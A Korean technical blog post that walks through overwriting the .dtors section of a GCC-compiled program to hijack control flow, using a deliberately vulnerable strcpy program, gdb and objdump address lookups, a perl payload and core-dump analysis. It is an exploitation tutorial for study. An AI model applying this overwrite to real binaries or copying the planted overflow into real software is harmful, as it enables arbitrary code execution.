소개
-------
gcc로 컴파일 되어진 c 프로그램의 실행 흐름을 조절 할 수 있는 기술에 대해 설명한다.
참고
-------
dvorak의 exploit
개요
-------
gcc로 컴파일 되어진 c 프로그램에서, constructors와 destructors 란 두가지 영역이 있다. 이 두가지 영역은 아래와 같은 방법으로 프로그래머에 의해 작성되어 질 수 있다.
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
GNU C 의 특성중 하나인 함수 속성을 정할수있는 기능인 __attribute__ 를 이용하여 함수를 콘스트럭터와 디스트럭터로 선언 할 수 있다. 그러므로 start함수는 .ctos 영역에 선언이 될 것이고, stop은 .dtors영역에 선언이 된다.
콘스트럭터는 main함수 전에 실행되고 디스트럭터는 main함수 종료 후에 실행이 될 것이다.
.ctors와 .dtors 둘다 아래와 같은 레이아웃을 갖는다.
0xffffffff <function address> <another function address> ... 0x00000000
이 두 영역은 아래와 같은 몇가지 특성이 있다.
- .ctors와 .dtors는 프로세스 주소 공간 메모리에 기록되어지고 기본적으로 쓰기 가능해질 것이다.
- 프로그래머가 콘스트럭터나 디스트럭터 둘중 어느것을 구현하였는가에 대하여 신경 쓸 필요가 없다. 왜냐면 특별히 정의하지 않아도 두영역은 메모리에 기록되고 어쨌든 나타난다.
- 그들 영역은 일반적인 .data 영역과 멀리 떨어져 있지 않다.
상세내용
----------
[root@BOF heap_test3]# cat > yopta.c
#include <stdio.h>
#include <stdlib.h>
static void start(void) __attribute__ ((constructor)); //콘스트럭터 속성으로 선언
static void stop(void) __attribute__ ((destructor)); //디스트럭터 속성으로 선언
int
main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
exit(EXIT_SUCCESS);
}
void
start(void)
{
printf("hello world!\n");
}
void
stop(void)
{
printf("goodbye world!\n");
}
[root@BOF heap_test3]# gcc -o yopta yopta.c
[root@BOF heap_test3]# ./yopta
hello world! //콘스트럭터 실행
start == 0x8048434 //start함수의 주소
stop == 0x8048448 //stop함수의 주소
goodbye world! //디스트럭터 실행
[root@BOF heap_test3]# objdump
Usage: objdump <switches> file(s)
At least one of the following switches must be given:
-a --archive-headers Display archive header information
-f --file-headers Display the contents of the overall file header
-p --private-headers Display object format specific file header contents
-h --[section-]headers Display the contents of the section headers
-x --all-headers Display the contents of all headers
-d --disassemble Display assembler contents of executable sections
-D --disassemble-all Display assembler contents of all sections
-S --source Intermix source code with disassembly
-s --full-contents Display the full contents of all sections requested
-g --debugging Display debug information in object file
-G --stabs Display the STABS contents of an ELF format file
-t --syms Display the contents of the symbol table(s)
-T --dynamic-syms Display the contents of the dynamic symbol table
-r --reloc Display the relocation entries in the file
-R --dynamic-reloc Display the dynamic relocation entries in the file
-V --version Display this program's version number
-i --info List object formats and architectures supported
-H --help Display this information
//s 옵션에서 부가적으로 쓰는 옵션
The following switches are optional:
-b --target <bfdname> Specify the target object format as <bfdname>
-m --architecture <machine> Specify the target architecture as <machine>
-j --section <name> Only display information for section <name>
-M --disassembler-options <o> Pass text <o> on to the disassembler
-EB --endian=big Assume big endian format when disassembling
-EL --endian=little Assume little endian format when disassembling
-l --line-numbers Include line numbers and filenames in output
-C --demangle Decode mangled/processed symbol names
-w --wide Format output for more than 80 columns
-z --disassemble-zeroes Do not skip blocks of zeroes when disassembling
--start-address <addr> Only process data whoes address is >= <addr>
--stop-address <addr> Only process data whoes address is <= <addr>
--prefix-addresses Print complete address alongside disassembly
--[no-]show-raw-insn Display hex alongside symbolic disassembly
--adjust-vma <offset> Add <offset> to all displayed section addresses
--demangler <dso:function> Set dso and demangler function
--style {gnu,lucid,arm,hp,edg,gnat,compaq}
Set demangling style
[root@BOF heap_test3]# objdump -s -j .dtors yopta // yopta파일의 .dtors섹션 정보 표시
yopta: file format elf32-i386
Contents of section .dtors:
8049504 ffffffff 48840408 00000000 ....H.......
stop의 주소가 .dtors에 저장되어 졌다.(yopta실행결과 확인/little indian으로 저장)
우리는 프로그램의 실행흐름을 바꾸는데 목적이 있으므로 overflow가 일어난후, 즉 main함수가 실행되고 난후의 실행되어지는 영역인 .dtors에 대해서만 다루기로 하고, .ctors에 대해서는 잊기로 하자.
그럼 다음과 같이 함수 속성이 없는 일반적인 프로그램을 가지고 시도해 보자
[root@BOF heap_test3]# cat > bleh.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <dumpcode.h>
static void bleh(void);
int main(int argc, char *argv[])
{
static u_char buf[] = "bleh"; //초기화된 전역변수 .data영역에 선언
dumpcode((char *)buf,64);
if (argc < 2)
exit(EXIT_FAILURE);
strcpy(buf, argv[1]); //vuln!!
dumpcode((char *)buf,64);
exit(EXIT_SUCCESS);
}
void bleh(void)
{
printf("goffio!\n");
}
[root@BOF heap_test3]# gcc -o bleh bleh.c
[root@BOF heap_test3]# ./bleh aaaaa
0x08049740 62 6c 65 68 00 00 00 00 00 00 00 00 ff ff ff ff bleh............
0x08049750 00 00 00 00 ff ff ff ff 00 00 00 00 88 97 04 08 ................
0x08049760 d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40 .>.@`..@P..@...@
0x08049770 6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08 n......@L`.@....
0x08049740 61 61 61 61 61 00 00 00 00 00 00 00 ff ff ff ff aaaaa...........
0x08049750 00 00 00 00 ff ff ff ff 00 00 00 00 88 97 04 08 ................
0x08049760 d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40 .>.@`..@P..@...@
0x08049770 6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08 n......@L`.@....
[root@BOF heap_test3]# objdump -h bleh | grep .dtors
17 .dtors 00000008 08049754 08049754 00000754 2**2
디스트럭터 속성으로 선언된 함수가 없어도 여전히 .dtors가 있는것을 확인할 수 있다.
.dtors영역의 내용을 들여다 보자.
[root@BOF heap_test3]# objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
8049754 ffffffff 00000000 ........
내용을 들여다 보면 앞과 뒤 부분의 태그만 있지 펑션의 주소들은 나타나 있지 않다.
소스를 보면 buf를 static으로 초기화시켜서 선언하였는데, 이는 우리의 목표인 .dtors영역을 덮어씌우기 위한, 매우 가까이에 있는 .data 영역에 buf를 위치시키기 위함이다.
이제 주어진 (정상적으로 실행 할 수 없는) bleh()을 .dtors 엔트리를 만들어서 실행시켜 보자.
우리가 실행시키기 위해서는 앞 테그는 신경쓰지 말고 뒤쪽의 태그(0x00000000)을 덮어쓰기 해야 한다.
일단 뒤쪽의 태그를 덮어쒸우기 위한 buf의 시작주소가 필요하고, 그리고 bleh()의 주소도 필요하다.
gdb를 통해서 알아내 보자.
[root@BOF heap_test3]# gdb -q bleh
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048654 <main>: push %ebp
0x8048655 <main+1>: mov %ebp,%esp
0x8048657 <main+3>: push 64
0x8048659 <main+5>: push 0x8049740
0x804865e <main+10>: call 0x80484b4 <dumpcode>
0x8048663 <main+15>: add %esp,8
0x8048666 <main+18>: cmp DWORD PTR [%ebp+8],1
0x804866a <main+22>: jg 0x8048676 <main+34>
0x804866c <main+24>: push 1
0x804866e <main+26>: call 0x8048398 <exit>
0x8048673 <main+31>: add %esp,4
0x8048676 <main+34>: mov %eax,DWORD PTR [%ebp+12]
0x8048679 <main+37>: add %eax,4
0x804867c <main+40>: mov %edx,DWORD PTR [%eax]
0x804867e <main+42>: push %edx
0x804867f <main+43>: push 0x8049740
0x8048684 <main+48>: call 0x80483a8 <strcpy>
0x8048689 <main+53>: add %esp,8
0x804868c <main+56>: push 64
0x804868e <main+58>: push 0x8049740
0x8048693 <main+63>: call 0x80484b4 <dumpcode>
0x8048698 <main+68>: add %esp,8
0x804869b <main+71>: push 0
0x804869d <main+73>: call 0x8048398 <exit>
0x80486a2 <main+78>: add %esp,4
0x80486a5 <main+81>: leave
0x80486a6 <main+82>: ret
0x80486a7 <main+83>: nop
End of assembler dump.
(gdb) x/s 0x8049740
0x8049740 <force_to_data>: "bleh"
(gdb) disas bleh
Dump of assembler code for function bleh:
0x80486a8 <bleh>: push %ebp
0x80486a9 <bleh+1>: mov %ebp,%esp
0x80486ab <bleh+3>: push 0x804872b
0x80486b0 <bleh+8>: call 0x8048388 <printf>
0x80486b5 <bleh+13>: add %esp,4
0x80486b8 <bleh+16>: leave
0x80486b9 <bleh+17>: ret
0x80486ba <bleh+18>: nop
0x80486bb <bleh+19>: nop
0x80486bc <bleh+20>: nop
0x80486bd <bleh+21>: nop
0x80486be <bleh+22>: nop
0x80486bf <bleh+23>: nop
End of assembler dump.
표시된 2가지 부분을 사용하면 될 것이다.
하지만 gdb를 사용하지 않고도 알아내는 방법도 있다.
[root@BOF heap_test3]# objdump --syms bleh | egrep 'text.*bleh'
080486a8 l F .text 00000012 bleh
이것은 심볼테이블에서 bleh()에 관련된 것을 찾는 방법이다.
// .data영역의 bleh를 찾는 방법은 잘 모르겟다.
이제 한번 공격을 해보자.
[root@BOF heap_test3]# ./bleh `perl -e 'print "a"x24,"\xa8\x86\x04\x08"'` //왜 a가 24개나면, (.dtor의 주소+4)-(buf의 주소)
0x08049740 62 6c 65 68 00 00 00 00 00 00 00 00 ff ff ff ff bleh............
0x08049750 00 00 00 00 ff ff ff ff 00 00 00 00 88 97 04 08 ................
0x08049760 d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40 .>.@`..@P..@...@
0x08049770 6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08 n......@L`.@....
0x08049740 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0x08049750 61 61 61 61 61 61 61 61 a8 86 04 08 00 97 04 08 aaaaaaaa........
0x08049760 d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40 .>.@`..@P..@...@
0x08049770 6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08 n......@L`.@....
goffio!
Segmentation fault (core dumped)
그럼 core 디버깅을 해보자
[root@BOF heap_test3]# gdb -q bleh core
Core was generated by `./bleh aaaaaaaaaaaaaaaaaaaaaaaa쮩'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x8049700 in ?? ()
(gdb) bt
#0 0x8049700 in ?? ()
#1 0x8048701 in _fini ()
#2 0x4003925a in exit (status=0) at exit.c:57
#3 0x80486a2 in main ()
#4 0x400309cb in __libc_start_main (main=0x8048654 <main>, argc=2, argv=0xbffffd74, init=0x8048308 <_init>, fini=0x80486ec <_fini>,
rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffd6c) at ../sysdeps/generic/libc-start.c:92
(gdb) maintenance info sections
Exec file:
`/home/student/heap_test3/bleh', file type elf32-i386.
0x080480f4->0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048108->0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048128->0x08048164 at 0x00000128: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048164->0x08048204 at 0x00000164: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048204->0x08048292 at 0x00000204: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048292->0x080482a6 at 0x00000292: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
0x080482a8->0x080482c8 at 0x000002a8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x080482c8->0x080482d0 at 0x000002c8: .rel.got ALLOC LOAD READONLY DATA HAS_CONTENTS
0x080482d0->0x08048308 at 0x000002d0: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048308->0x08048337 at 0x00000308: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08048338->0x080483b8 at 0x00000338: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x080483c0->0x080486ec at 0x000003c0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x080486ec->0x08048706 at 0x000006ec: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08048708->0x08048734 at 0x00000708: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08049734->0x08049748 at 0x00000734: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049748->0x0804974c at 0x00000748: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x0804974c->0x08049754 at 0x0000074c: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08049754->0x0804975c at 0x00000754: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x0804975c->0x08049788 at 0x0000075c: .got ALLOC LOAD DATA HAS_CONTENTS
0x08049788->0x08049828 at 0x00000788: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x08049828->0x08049840 at 0x00000828: .bss ALLOC
0x00000000->0x00000750 at 0x00000828: .stab READONLY HAS_CONTENTS
0x00000000->0x0000134f at 0x00000f78: .stabstr READONLY HAS_CONTENTS
0x00000000->0x0000016e at 0x000022c7: .comment READONLY HAS_CONTENTS
0x08049840->0x080498b8 at 0x00002435: .note READONLY HAS_CONTENTS
Core file:
`/home/student/heap_test3/core', file type elf32-i386.
0x00000000->0x000006ac at 0x00000174: note0 READONLY HAS_CONTENTS
0x00000000->0x00000044 at 0x000001cc: .reg/8938 HAS_CONTENTS
0x00000000->0x00000044 at 0x000001cc: .reg HAS_CONTENTS
0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08049000->0x0804a000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS
0x40000000->0x40000000 at 0x00002000: load3 ALLOC LOAD READONLY CODE HAS_CONTENTS
0x40013000->0x40014000 at 0x00002000: load4 ALLOC LOAD HAS_CONTENTS
0x40014000->0x40016000 at 0x00003000: load5 ALLOC LOAD HAS_CONTENTS
0x40018000->0x40018000 at 0x00005000: load6 ALLOC LOAD READONLY CODE HAS_CONTENTS
0x40105000->0x40109000 at 0x00005000: load7 ALLOC LOAD HAS_CONTENTS
0x40109000->0x4010d000 at 0x00009000: load8 ALLOC LOAD HAS_CONTENTS
0xbfffe000->0xc0000000 at 0x0000d000: load9 ALLOC LOAD CODE HAS_CONTENTS
.dtors의 내용을 확인해보자.
(gdb) x/4x 0x08049754
0x8049754 <__DTOR_LIST__>: 0x61616161 0x080486a8 0x08049700 0x40013ed0
결론
---------
1..dtors의 뒷태그가 bleh()로 변경된것을 볼수 있엇고,
2.또 다른 하나는 앞태그가 무엇이든 신경을 쓰지 않는다는 것이다.
3.그리고 뒷태그를 실행시킬수 있다는 점이다.
장점)
1. 만약 목표 실행화일이 공격자에게 읽기 가능하게 되어있다면 쉽게 우리의 shellcode의 주소를 써야할지 정확한 위치를 알수 있다. 그렇지 않아도 단지 ELF 이미지와 .dtors 위치만 알아도 충분하다. 이 장점은 잇스프로잇의 신뢰도를 상당히 높일수 있다.
2. 이것은 다른 그로벌 옵셋테이블의 엔트리를 덮어쓰기 하는 것과 같은 기술에 비해 매우 단순하다.
단점)
1. 희생 프로그램은 GNU 툴들로 컴퍼일과 링크가 되어져야 한다.
2. 특정상황하에서는 프로그램이 종료되기까지 shellcode가 저장된 장소를 찾기 어려울수 있다.
'etc > Technical Documents' 카테고리의 다른 글
[Metasploit] android meterpreter 분석 (0) | 2014.10.13 |
---|---|
peda 유용한 명령어 정리 (0) | 2014.09.14 |
ret to libc (0) | 2014.06.07 |
Fake ebp (2) | 2014.04.24 |
Vera를 이용한 Visual unpacking (0) | 2014.04.22 |